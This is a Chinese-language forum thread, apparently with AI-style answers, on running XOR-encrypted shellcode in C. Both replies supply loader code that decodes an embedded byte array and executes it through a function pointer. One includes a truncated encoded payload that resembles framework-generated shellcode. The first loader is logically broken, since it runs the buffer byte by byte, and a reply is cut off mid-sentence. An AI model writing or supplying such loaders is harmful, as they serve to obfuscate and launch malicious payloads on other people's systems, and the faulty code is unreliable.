@天蓝，
从你的描述来看，你试图将一个字节一个字节地执行你的shellcode，然后再对shellcode进行异或处理，然后再尝试执行。然而，在第二种情况下，程序会报错。
这里出问题的原因可能在于shellcode经过异或处理后，其原始的意图和功能都被改变了。这就意味着，当你试图执行这些异或处理过的字节时，你可能会尝试执行一些无效或者无意义的指令，这自然会导致程序错误。
一种可能的解决方案是，在你执行异或处理过的shellcode之前，需要先将其解密回原始的shellcode。下面是一个示例代码，希望能够帮助你解决这个问题：
#include <stdio.h>
#include <stdlib.h>
// 经过异或处理的 shell code
unsigned char shell_code[] = "你的shellcode";
void test()
{
int len = sizeof(shell_code) - 1;
printf("%d", len);
typedef void (*ShellCodeFunction)();
ShellCodeFunction shell_code_func;
unsigned char *plain = shell_code;
unsigned char key = 0x12; // 假设你的异或密钥是0x12
// 对shell code进行解密
for (int i = 0; i < len; i++)
{
plain[i] = plain[i] ^ key;
}
// 将 shell code 一个个元素执行
for (int i = 0; i < len; i++)
{
shell_code_func = (ShellCodeFunction)plain;
shell_code_func();
plain++;
}
}
void main()
{
test();
}
请注意，这只是一个例子。在实际使用中，你需要知道用于异或操作的密钥，以便正确解密shellcode。此外，你可能还需要处理其他的安全问题和异常，这取决于你的shellcode和你的程序的具体需求。
希望这个解答能对你有所帮助！如果你还有其他问题，欢迎继续提问。
一加8Pro
@天蓝，
这个程序尝试执行一段通过异或加密的shell代码，但有一些问题。首先，shell_code数组中的每个元素都是一个字节，而异或操作数1021超过了一个字节。如果这不是一个错误，那么可能原意是将shell_code视为一个大端或小端的16位整数数组，但这需要明确说明。
其次，将代码解密并执行的方式也存在问题。你的程序试图在每次解密一个字节后就执行解密的代码，这是不可行的。因为一条机器指令通常会包含多个字节，所以你需要先解密所有的shell代码，然后再执行。
修正这些问题后，代码应该如下：
#include <stdio.h>
// 经过异或处理的 shell code
unsigned char shell_code[] = "\x01\x15\x74\xfd\xfd\xfd\x9d\x74\x18\xcc\x2f\x99\x76\xaf\xcd\x76\xaf\xf1\x76\xaf\xe9\x76\x8f\xd5\xf2\x4a\xb7\xdb\xcc\x02\xcc\x3d\x51\xc1\x9c\x81\xff\xd1\xdd\x3c\x32\xf0\..............";
void test()
{
int len = sizeof(shell_code) - 1;
printf("%d", len);
typedef void (*ShellCodeFunction)();
// Create a buffer to store the decrypted shell code
unsigned char decrypted_shell_code[sizeof(shell_code)] = {0};
// Decrypt the shell code
for (int i = 0; i < len; i++)
{
decrypted_shell_code[i] = shell_code[i] ^ (unsigned char)1021; // We cast 1021 to unsigned char, so that it fits in a byte
}
// Execute the shell code
ShellCodeFunction shell_code_func = (ShellCodeFunction)decrypted_shell_code;
shell_code_func();
}
int main() // main function should return int
{
test();
return 0; // return a value from main
}
注意，这个修复的代码假定了1021是一个错误，并且它应该是一个字节大小的值。如果这不是一个错误，那么你需要使用一个不同的方法来解密shell代码。
还要注意，这段代码中的shell代码应该是预先通过异或操作加密的有效机器代码，否则执行这段代码可能会导致未定义行为，包括程序崩溃。
此外，从安全角度来说，执行未知的或不受信任的shell代码是非常危险的。这样做可能会使你的系统暴露给潜在的攻击，包括数据损坏和未授权的系统访问。所以，这种技术一般只在研究和教学环境中使用，而不应在生产环境中使用。
最后，这个代码只能在某些环境下工作，具体取决于操作系统和硬件架构。许多现代操作系统出于安全
一加8Pro
这个实现不了了，我只能再看看别的思路了